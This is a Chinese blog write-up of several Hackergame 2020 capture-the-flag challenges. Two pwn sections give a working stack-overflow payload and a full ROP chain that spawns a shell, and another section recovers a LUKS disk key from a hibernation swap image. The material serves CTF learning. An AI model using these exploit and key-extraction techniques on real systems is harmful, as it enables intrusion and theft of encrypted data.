Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Hackergame2020部分题目复现

Hackergame2020部分题目复现

作者头像
回天
发布于 2023-04-25 08:05:03
发布于 2023-04-25 08:05:03
78200
代码可运行
举报
文章被收录于专栏:Ga1@xy's W0r1dGa1@xy's W0r1d
运行总次数:0
代码可运行

本文只记录了部分我复现的题目,全部 wp 可参考官方wp

从零开始的火星文

先看图

题目内容

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
脦脪鹿楼脝脝脕脣 拢脠拢谩拢茫拢毛拢氓拢貌拢莽拢谩拢铆拢氓 碌脛路镁脦帽脝梅拢卢脥碌碌陆脕脣脣眉脙脟碌脛 拢忙拢矛拢谩拢莽拢卢脧脰脭脷脦脪掳脩 拢忙拢矛拢谩拢莽 路垄赂酶脛茫拢潞
拢忙拢矛拢谩拢莽拢没拢脠拢麓拢枚拢鲁拢脽拢脝拢玫拢脦拢脽拢梅拢卤拢脭拢猫拢脽拢鲁拢卯拢茫拢掳拢盲拢卤拢卯拢莽拢脽拢麓拢脦拢盲拢脽拢盲拢鲁拢茫拢掳拢脛拢卤拢卯拢脟拢脽拢鹿拢帽拢脛拢虏拢脪拢赂拢猫拢贸拢媒
驴矛脠楼卤脠脠眉脝陆脤篓脤谩陆禄掳脡拢隆
虏禄脪陋脭脵掳脩脮芒路脻脨脜脧垄脳陋路垄赂酶脝盲脣没脠脣脕脣拢卢脪陋脢脟卤禄路垄脧脰戮脥脭茫赂芒脕脣拢隆

打开 txt,可以看到是 UTF-8 编码的内容,而观察内容又可发现其为上图中所说的古文码,然而古文码应该是在 GBK 编码下看到的结果,本题打开确实 UTF-8 格式,所以应该先对内容进行一次GBK编码,得到如下内容

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ÎÒ¹¥ÆÆÁË £È£á£ã£ë£å£ò£ç£á£í£å µÄ·þÎñÆ÷£¬Íµµ½ÁËËüÃÇµÄ £æ£ì£á£ç£¬ÏÖÔÚÎÒ°Ñ £æ£ì£á£ç ·¢¸øÄ㣺
£æ£ì£á£ç£û£È£´£ö£³£ß£Æ£õ£Î£ß£÷£±£Ô£è£ß£³£î£ã£°£ä£±£î£ç£ß£´£Î£ä£ß£ä£³£ã£°£Ä£±£î£Ç£ß£¹£ñ£Ä£²£Ò£¸£è£ó£ý
¿ìÈ¥±ÈÈüƽ̨Ìá½»°É£¡
²»ÒªÔÙ°ÑÕâ·ÝÐÅϢת·¢¸øÆäËûÈËÁË£¬ÒªÊDZ»·¢ÏÖ¾ÍÔã¸âÁË£¡

很明显符合上图中的拼音码的形式,而拼音码是在 ISO-8859-1 编码下看到的,所以再用 ISO-8859-1 进行编码,最后再 GBK 解码得到原始内容即可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
我攻破了 Hackergame 的服务器,偷到了它们的 flag,现在我把 flag 发给你:
flag{H4v3_FuN_w1Th_3nc0d1ng_4Nd_d3c0D1nG_9qD2R8hs}
快去比赛平台提交吧!
不要再把这份信息转发给其他人了,要是被发现就糟糕了!

得到的 flag 为全角符号,无法直接提交,可以手动再打一遍

整道题的过程都可用 cyberchef 实现,非常方便

生活在博弈树上

始终热爱大地

入门级 pwn,而且给了源码,但是本题其实并不需要,拖进 ida,找到 main 函数,f5 反编译,可以看到标志性的 gets() 函数

很明显的栈溢出漏洞,继续读 main 函数,可以知道他是通过判断 v15 是否等于 1 来输出 flag

那么我们的目的就是通过栈溢出来将 v15 对应的变量的值修改为 1,即可得到 flag

查看栈结构可以发现 gets() 对应的变量对于 rbp(也即栈帧基址)距离 0x90,v15 相对 rbp 距离 0x01

构造 payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *

context.log_level = 'debug'
io = process('./tictactoe')

io.recvuntil('):') # 接收到末尾
payload = '(1,1)' + (0x90 - 0x01 - 5) * 'a' + '\x01' # -5是因为(1,1)
io.sendline(payload)
io.interactive()

升上天空

根据第一题的 flag,提示第二题需要 getshell,file 查看文件,发现静态链接编译

checksec 检查文件,发现 NX enabled,即栈上不可执行,也就是说本题不能通过在栈上写入 shellcode 来 getshell

综上,本题可以考虑使用 ROP 技巧来达到目的,由于静态链接编译,而且对于输入没有什么特殊的要求限制,可以利用 ROPgadget 自动化生成 rop 链

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ROPgadget --binary tictactoe --ropchain

(中间内容略)

- Step 5 -- Build the ROP chain

    #!/usr/bin/env python2
    # execve generated by ROPgadget

    from struct import pack

    # Padding goes here
    p = ''

    p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
    p += pack('<Q', 0x00000000004a60e0) # @ .data
    p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
    p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
......

构造完整 payload,同样栈溢出,填充字符到返回地址,在 ida 的栈结构视图中可以看到地址为 +0x08

所以我们需要在第一题的基础上再填充八个字节长度的字符,再补充上构造的 ropchain 即可,不过需要注意的是,在 python3 中 struct.pack 返回的是bytes类型数据,所以为了拼接 payload,要将字符转化成 bytes 类型

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *
from struct import pack

context.log_level = 'debug'
io = process('./tictactoe')

p = b'(1,1)' + b'a' * (0x90 - 5 - 1) + b'\x01' + b'a' * 0x08
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402bf4) # syscall

io.recvuntil('):')
io.sendline(p)
io.interactive()

来自未来的信笺

给了一堆二维码,尝试扫码发现内容基本都不可读,推测每张二维码都是一个文件的一部分数据,将所有数据连起来即可恢复文件,手头并没有什么可以支持批量扫码得到原始数据的工具,目前也没找到支持的在线网站(要是有师傅知道可以教教我),于是照着 wp 学习了一下,利用 zbarimg 命令行工具配合 shell 脚本

  • 简单的 shell 脚本的编写学习可以看这里
  • 安装 zbarimg:apt-get install zbar-tools
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/bin/sh

for i in ./frames/frame-*.png;
do
    #echo $i
    zbarimg -q --raw -Sbinary $i >> out
done;

打开得到的文件,解压里面的压缩包,就可以看到 flag

室友的加密硬盘

根据题目描述,拿到一个镜像文件,先查看具体内容配置

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
fdisk -l roommates_disk_part.img

可以看到其中有五个部分,包括 boot 分区和 swap 分区,由于该镜像文件只有 2g,那两个特别大的分区肯定没有或不完整,提取出那三个比较小的分区

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
dd if=roommates_disk_part.img of=boot.img bs=512 count=389120 skip=2048
dd if=roommates_disk_part.img of=swap.img bs=512 count=1497088 skip=393216
dd if=roommates_disk_part.img of=home.img bs=512 count=1998848 skip=1892352

分别 file 查看三个导出的分区镜像,可以得知 boot 分区为 ext4 格式,swap 分区有个 SWSUSP1 镜像,home 分区为 LUKS 加密,应该就是题里所说的那个分区,在此涉及到一个知识点,什么是 SWSUSP?

SWSUSP,全称 Swap Suspend,是 linux 的一种电源管理机制,linux 下的磁盘挂起(STD)就是通过这种机制来实现的:将系统当前状态保存到内存后,再把内存内容写入 swap 分区,下次再启动系统时,系统就会恢复到休眠之前的状态。 STD,全称 Suspend to Disk,即硬盘挂起,也就是我们所说的休眠。

通过对 swap 分区的分析,我们可以得知本题是在系统休眠后 dump 下来的镜像,那么想要得到磁盘的密码,接下来就要对 swap 分区进行进一步分析,在此之前可以先挂载下 boot 分区,key 也有可能在里面,虽然本题不在就是了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
I'm not that stupid to put plaintext key in /boot!

接下来内容参考文章:

题目描述中已经提到了加密方式为 AES,且密钥 512 位,根据上述文章,我们需要从内存中提取密钥,用到 findaes,安装和使用方式上文也已经给出了,在此不再赘述,找到 swap.img 中所有的 aeskey

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Searching swap.img
Found AES-256 key schedule at offset 0x3ffde4: 
e1 95 50 1f 5b f8 ff fe 5f 4c 66 c4 32 49 a5 74 78 75 c9 8f 9c b5 98 c7 0f 52 a0 d0 5f 06 01 bc 
Found AES-256 key schedule at offset 0x6529d8: 
d9 13 14 5b 01 b2 03 ca 06 8e 48 d2 f4 0b 04 86 39 d8 c6 f4 cf e9 3b 22 c3 79 59 45 ca 9d 9e 2a 
Found AES-256 key schedule at offset 0x652b08: 
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 
Found AES-256 key schedule at offset 0x652bfc: 
45 78 95 c6 ff a8 97 80 74 97 bc 31 32 0c f9 bf f6 70 7e 17 6b e2 6a 10 58 fa 49 a1 2c cd 27 62 
Found AES-256 key schedule at offset 0x73bde4: 
b8 95 ea 51 54 ce a3 07 a3 f3 89 1f d4 3f 19 c0 d5 4b a3 8b 8d d2 85 19 84 1f a8 18 f2 4e ae fb 
Found AES-256 key schedule at offset 0x7aade4: 
08 2c 44 00 a3 4b 81 db c8 0d e8 18 74 cf 03 ff 16 d9 7e b9 38 0c 51 5d 3e c4 8e 84 33 d7 dc 64 
Found AES-256 key schedule at offset 0xbffde4: 
ef 3b 6d 7b 80 e9 ff 8b 13 c8 b8 01 98 4d 2c 9c f6 c0 ca 8d d3 42 da 98 11 2f 0c 70 f3 4f d5 c8 
Found AES-256 key schedule at offset 0x3d13de4: 
4c dc 0c 14 cb 55 bb 43 5e 75 43 8b 7d 73 f4 45 ed 5e 90 c9 51 4b 2d 42 64 c7 53 49 2b f8 47 e8 
Found AES-256 key schedule at offset 0x41efde4: 
9f 33 30 a4 2a 7f 64 46 26 0d f6 e2 f3 1d 31 1e 2f cf a3 d6 e1 f4 73 6e 83 5b 78 e6 3c 97 cc c3 
Found AES-256 key schedule at offset 0x50d5de4: 
ea b9 03 94 d3 e9 89 2c 87 a4 b2 f3 21 44 c7 1a 2b 1d 2e 0c de fc e6 83 12 5d 69 5d 6e d8 1d 6c 
Found AES-256 key schedule at offset 0x737c9d8: 
37 d7 de b4 3c 02 23 b8 65 6d d6 a8 62 56 2a 1a 83 60 92 62 78 dc 65 f4 45 ed a2 14 68 44 58 9f 
Found AES-256 key schedule at offset 0x737cb08: 
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 
Found AES-256 key schedule at offset 0x737cbfc: 
6b c7 7b d3 28 b3 78 31 5a 19 3c 7d fa 0d 14 c2 f0 23 f5 56 55 64 de 40 a6 ba 66 d2 9a ed fd 3d 
Found AES-256 key schedule at offset 0x8e67de4: 
31 c6 9d ff 83 84 7a 6c 3c 3c 09 1e 4f f6 11 3c a5 79 9e 1b 63 65 6f 0b d5 1b d6 49 0c 20 76 9c 
Found AES-256 key schedule at offset 0xa18ca1a: 
e4 d5 8f 63 d6 29 f3 88 03 da 3c 71 2c 5a 0c c2 be 77 4b 9d 92 5d 13 60 24 a1 81 31 5d 91 ac 99 
Found AES-256 key schedule at offset 0xa18cc0e: 
13 6c e9 ce 0d 3f 13 0e be 62 95 70 a0 8b c2 ea 88 3e 45 15 33 87 51 40 02 7d 1b 3f db 5d 00 91 
Found AES-256 key schedule at offset 0xa32db50: 
31 c6 9d ff 83 84 7a 6c 3c 3c 09 1e 4f f6 11 3c a5 79 9e 1b 63 65 6f 0b d5 1b d6 49 0c 20 76 9c 
Found AES-256 key schedule at offset 0xb1c873a: 
fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6 
Found AES-256 key schedule at offset 0xb1c890d: 
e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1 
Found AES-256 key schedule at offset 0xbd08b20: 
4c 82 f3 49 3f 9a 33 81 f5 1c 39 4a b8 53 2b d0 37 db 64 b7 93 05 7a ad e3 d6 bf 67 cb eb f9 33 
Found AES-256 key schedule at offset 0xd013349: 
fa 01 a9 80 89 a3 8f 60 6c 14 86 94 e7 a3 50 9a ac cf c1 65 06 8e d6 7f 57 15 38 4b 93 e5 6a a6 
Found AES-256 key schedule at offset 0xd01351c: 
e4 58 16 75 c3 f9 47 f7 b5 37 a3 dd 60 98 e4 a5 89 8b 0a 18 c2 b3 b0 f6 75 c6 1d e4 10 6f c6 a1 

由于找到的都是 256 位,而题中说的是 512 位,所以应该在内存中找到两个位置连续的,而且由于 Intel x86-64 使用 little-endian(小端)模式,因此我们必须以相反的顺序组合密钥

接下来参考另外一篇文章:

我们可以通过刚刚找到的主密钥来添加其他的密钥进行解锁,利用命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cryptsetup luksAddkey <DEVICE> --master-key-file <file>

要将 aeskey 储存为 16 进制,经过多次尝试,可以确定密钥为 0xb1c890d 和 0xb1c873a 两个位置的 256 位密钥组合而成,即

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
e4581675c3f947f7b537a3dd6098e4a5898b0a18c2b3b0f675c61de4106fc6a1fa01a98089a38f606c148694e7a3509aaccfc165068ed67f5715384b93e56aa6

储存为 16 进制,用十六进制编辑器即可,另存为 key

执行命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cryptsetup luksAddKey home.img --master-key-file key

根据提示输入你想设置的新密钥即可,例如 123

再利用 luksOpen 命令解密,输入刚刚设置的密钥 123

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cryptsetup luksOpen home.img home1

解密后就直接挂载了,打开挂载的 home1 卷,里面就有 flag.txt

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
flag{lets_do_A_c01d_b00t_next_time}

233 同学的 Docker

从题目考点的角度来解析这道题,涉及到了几个关于 Docker 的知识点:

  • docker 的分层(layer)结构
  • dockerfile 中 RUN 命令对 docker 文件系统层数的影响

有关 docker 文件结构的解析可以参考我的另一篇文章:浅析 Docker overlay2 文件结构,在这篇文章中也体现出了 docker 的分层结构,简单来讲就是 docker 分了容器层和镜像层,在容器层中进行修改并不会影响镜像层中的文件内容,镜像层中又由很多个小层(layer)构成,在构建 docker 时每个 RUN 命令都会产生一个新的 layer,就像官方 wp 里说的那样,如果在写 dockerfile 的时候用了很多的 RUN 命令,不仅会使构造出的镜像体积变大,也有可能会导致数据隐私泄露的情况

我们来看本题的 dockerfile

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# Set the base image to use to centos 7
FROM centos:7

# Set the file maintainer
MAINTAINER Software_Engineering_Project

# Install necessary tools
RUN yum -y install wget make yum-utils

# Install python dependencies
RUN yum-builddep python -y

# Install tools needed
RUN yum -y install gcc
RUN yum -y install vim
RUN yum -y install mariadb-devel

# Download the python3.7.3
RUN wget -O /tmp/Python-3.7.3.tgz https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz

# Build and install python3.7.3
RUN tar -zxvf /tmp/Python-3.7.3.tgz -C /tmp/
RUN /tmp/Python-3.7.3/configure
RUN make && make install

# Create symbolic link
RUN rm -f /usr/bin/python
RUN ln -s /usr/local/bin/python3 /usr/bin/python
RUN ln -s /usr/local/bin/pip3 /usr/bin/pip

# Upgrade the pip
RUN pip install --upgrade pip

# Fix the yum
RUN sed -i 's/python/python2/' /usr/bin/yum

# Clean
RUN rm -rf /tmp/Python-3.7.3*
RUN yum clean all

RUN pip3 install ipython
RUN pip3 install bpython
RUN pip3 install pipenv

ENV PYTHONUNBUFFERED 1
RUN mkdir /code
WORKDIR /code
COPY . /code/
RUN rm /code/flag.txt
ENTRYPOINT python /code/app.py

可以看到在最后一条 RUN 命令中删去了 /code/ 文件夹下的 flag 文件,那么我们只需要找到倒数第二层 layer 就可以看到未被删除的 flag

解法 1

第一种解法我们通过正常解析 docker 的文件结构,一层一层来找到目标 layer,有关文件结构的知识点不再重复讲述,参考浅析 Docker overlay2 文件结构

通过 docker image inspect [IMAGE ID] 命令查看这个 docker 的文件结构

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"RootFS": {
            "Type": "layers",
            "Layers": [
                "sha256:613be09ab3c0860a5216936f412f09927947012f86bfa89b263dfa087a725f81",
                "sha256:107f3d157b844e4fe0e76f5cd1e4aa2a8000d08cd126b0209c06be16447fba24",
                "sha256:6f1859008f13b13e8332647ce2aa9d4682d1b632d2bfc9a8610279a3386afe1e",
                "sha256:9f7b61c057ea748e46a6cf0003162e8d2c4565677b7996bbbad7a6c9fd179af6",
                "sha256:f1a9718369d5d4ee861ce99d493bf5a99b0196713db2f197c6be4566f1c8da8a",
                "sha256:44d7fe2e0b5f86c6aa4f3318cc7c345b9aa567059286318e1acb817b4bce427b",
                "sha256:a3a7c0789b31a81a62032f733348d107c41b35bad602d48079803204cae3b453",
                "sha256:445667ee1e9c3e35c18040c2a3ac158e12c05600bb0cb3853cb044ffa2205d77",
                "sha256:b069a51c94ae2334aac99237c5ba861d886f835381a131145e7a000caa020a34",
                "sha256:6ce43b7cb7768d0d62c179d927cab9447e5f419c6b25376c10d07c2784be2b9d",
                "sha256:6f70066bfb26ba39944e087997acfe563f59ab506db041440313f0b35a305099",
                "sha256:85e03ff614924958b01c6b53e570d565335967c73e2f4a52e506c8f08784b57e",
                "sha256:907c7c3a48c08dfbfd418b543fc1b1fea31b682363f592ce0e85b09fb7a45a24",
                "sha256:4f65cf50337415b986f72b47f5c27bfcb69cfb0d1838849e82acfc09180fc1de",
                "sha256:ada9169e5563c97d79e08dffdeae7f8fc3f11a643893afe928630bbdbc4f1af0",
                "sha256:2cf7518176a8c7234c95c2dbb152615b9ec65e9440a180e03e694fcb8e71bebf",
                "sha256:39825329de0d7a0e48f46042382180326b22c9034d4ad059b2435da3535861ad",
                "sha256:2b3b691473b36b71f0c80e7167793da9f465c4d3b34dac8d8fc8123e46a6a0c2",
                "sha256:b7fa34a429645c5e0fa5579c58cdb46a6dbbcc1d7b30fe9960636df7c6d767a5",
                "sha256:75ccccbd8315c710681f72a9f4df9c20f3640284b469fb3834768b875d606625",
                "sha256:ba39e17835577c7fa702983e863182c5ea20fb9f9f6827c3cf659fca76aea710",
                "sha256:19510b883701c9fc721403d5eb5ddf5935f1db6aeaaad627a1050a349acaf2fb",
                "sha256:ce2f773d43eee87d53a828fbcd2daa8e6ae3f0490fbaf616a8aba752839072ff"
            ]
        }

RootFS 字段中可以看到镜像层 layer 的 diff_id,从上至下表示最底层到最顶层,可以看到倒数第二层的 diff_id

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sha256:19510b883701c9fc721403d5eb5ddf5935f1db6aeaaad627a1050a349acaf2fb

LowerDir 字段可以看到镜像层 layer 的 cache_id

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"GraphDriver": {
            "Data": {
                "LowerDir": "/var/lib/docker/overlay2/827ee4cf35ab231e539f1ae3429988e06599dbb27e3e775399b33093ba1ee815/diff:/var/lib/docker/overlay2/f050858eeb61d192443e92f025b467da00519e58319f63cafc5c184b48efe3d1/diff:/var/lib/docker/overlay2/1d220c246ca70969f708fc4ef9971e16adf9ed83df95992e895f4ddc8ed03506/diff:/var/lib/docker/overlay2/74da22967e9cc8ca341fe5c7743502ab9b9a717755c8fc1973811ba0951a420f/diff:/var/lib/docker/overlay2/535d262f84c6583093bdd6caf4ad621d37b37be4cda5d88ae1edc86dbd11ccbb/diff:/var/lib/docker/overlay2/e6298bb06a0109423e7bea42ff353241a9d6b3f84552758d32f42dddbb9df99f/diff:/var/lib/docker/overlay2/1b38ebb97fdaf37288514b5a97b0c72f240055fd1326b2e9bd8a7f43d632801a/diff:/var/lib/docker/overlay2/59fa0c520207eabce03600b2d8f5dcee7c3ea8aaabc9b139ca1206e9821e5188/diff:/var/lib/docker/overlay2/4344959e0ac6241bbc176c7bfd9752625b47f000de23c0827304b8d19c246bc9/diff:/var/lib/docker/overlay2/30b8bd2d570b7d27ce31da6059b934ca6e74765c6d61fbe02f3ae68839c6f12c/diff:/var/lib/docker/overlay2/f85d11d82c14e9475061306d0481b2d0060096905de4e75777b533ddea01195a/diff:/var/lib/docker/overlay2/aaec358fac768d6d7ebb1850daff059b1bc074c03ba80854ec880cca3eeac9c7/diff:/var/lib/docker/overlay2/4bf4cf30809e709de496256a2a6f71d4073914682c4b0e3f51acd61bd1f226e0/diff:/var/lib/docker/overlay2/ffe6365ea348df0538672ec06d7ca736f56e90837b120d57fa3e0abee53fc1a8/diff:/var/lib/docker/overlay2/d32f300d2d942f235fe302d85ce8dff759800847c857102598bf24d433b46bca/diff:/var/lib/docker/overlay2/c130887aba96b92186347f923539295a1e8d5c1c740652ef676650803fd3b020/diff:/var/lib/docker/overlay2/f9e9b09b687684cc8940cdf95319b61a6ea24a8ea545c709ff3dbfffd6831728/diff:/var/lib/docker/overlay2/99cf605b97e89e19bb504a1bfdfc6052e6fdf5dff93425c8fc1d1c7f9a89633f/diff:/var/lib/docker/overlay2/88f5127937b7c516b88edf462e952739c92b379946663b3b04319ade92496cbc/diff:/var/lib/docker/overlay2/de413265f060dc86515001cfbc2af11275689bf986a1c2276f05ec6ec55593f6/diff:/var/lib/docker/overlay2/45aaf41898a9181e89a4584e3b924bc790e6b48bda7d0e7f72eea0bc8a06b126/diff:/var/lib/docker/overlay2/6d94eed24770daf25bec63af8b7b6b5264c7b49ec427ad04853a8e130b9d7e6c/diff",
                "MergedDir": "/var/lib/docker/overlay2/bcfbb953e4685e74f74c16071a6b9941f80e8bdfbcfc99317b1cf878204ec796/merged",
                "UpperDir": "/var/lib/docker/overlay2/bcfbb953e4685e74f74c16071a6b9941f80e8bdfbcfc99317b1cf878204ec796/diff",
                "WorkDir": "/var/lib/docker/overlay2/bcfbb953e4685e74f74c16071a6b9941f80e8bdfbcfc99317b1cf878204ec796/work"
            },
            "Name": "overlay2"
        },

每个 cache_id 对应的 diff 目录下保存有该层的文件,那么我们只需要找到倒数第二层 diff_id 对应的 cache_id,就可以找到未被删除的 flag.txt 文件

cache_id 通过 chain_id 来索引,而 chain_id 又可以通过 diff_id 来计算,计算方法如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
当前层的chain_id = sha256(更低层的chain_id + " " + 当前层的diff_id)

最底层的 chain_iddiff_id 相同,我们以最底层的 chain_id 计算倒数第二层的 chain_id 为例

计算出倒数第二层的 chain_id 为 8f52ef2a64d2360dcbb1edfb48f50680f4ae198145f8ca38c9b57afaf974a95d

就这样一层一层往上算,手算或者写脚本都可以,算到倒数第二个 sha256:1951 对应的 chain_id

查看这个 chain_id 文件夹下对应的 cache-id 文件

找到这一层的 cache_id

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
827ee4cf35ab231e539f1ae3429988e06599dbb27e3e775399b33093ba1ee815

查看对应 diff 目录下的文件即可找到 flag

解法 2

有个工具叫 dive,可以用来查看 docker 构建过程中每个镜像层的文件目录以及各种文件变动,一些快捷键使用如下

按键绑定

描述

Ctrl + C

退出

Tab

在层和文件树视图之间切换

Ctrl + F

筛选

PageUp

向上滚动页面

PageDown

向下滚动页面

Ctrl + A

镜像视图:查看聚合图像修改

Ctrl + L

镜像视图:查看当前图层修改

Space

文件树视图:折叠/取消折叠目录

Ctrl + Space

文件树视图:折叠/展开所有目录

Ctrl + A

文件树视图:显示/隐藏添加的文件

Ctrl + R

文件树视图:显示/隐藏已删除的文件

Ctrl + M

文件树视图:显示/隐藏修改的文件

Ctrl + U

文件树视图:显示/隐藏未修改的文件

Ctrl + B

文件树视图:显示/隐藏文件属性

PageUp

Filetree视图:向上滚动页面

PageDown

Filetree视图:向下滚动页面

安装好后用 dive 打开镜像

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
dive 8b8d3c8324c7/stringtool

找到删除 flag 的上一条构建镜像层的命令

找到这个 code 目录,可以看到里面有个 flag.txt,但是我们无法通过这个工具直接查看文件内容

虽然无法直接查看,但是我们已经知道了 flag 的文件名了,接下来在本地全盘搜索这个文件就行

通过 dive 也可以看到 COPY 命令构建出的这一个镜像层对应的 diff_id 和我们第一种解法中判断的相同

而这个 Id 就代表该镜像层,如果我们通过 docker save 命令导出这个镜像(官方解法)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
docker save 8b8d3c8324c7/stringtool > img.tar

解压这个 tar 文件之后就可以在里面找到与 Id 相同的文件夹名,解压里面的 layer.tar,在对应 code 目录也可以找到 flag

碎碎念(划掉

其实这篇复现在当年比赛刚结束不久我就在写了,后来写着写着就忘了……

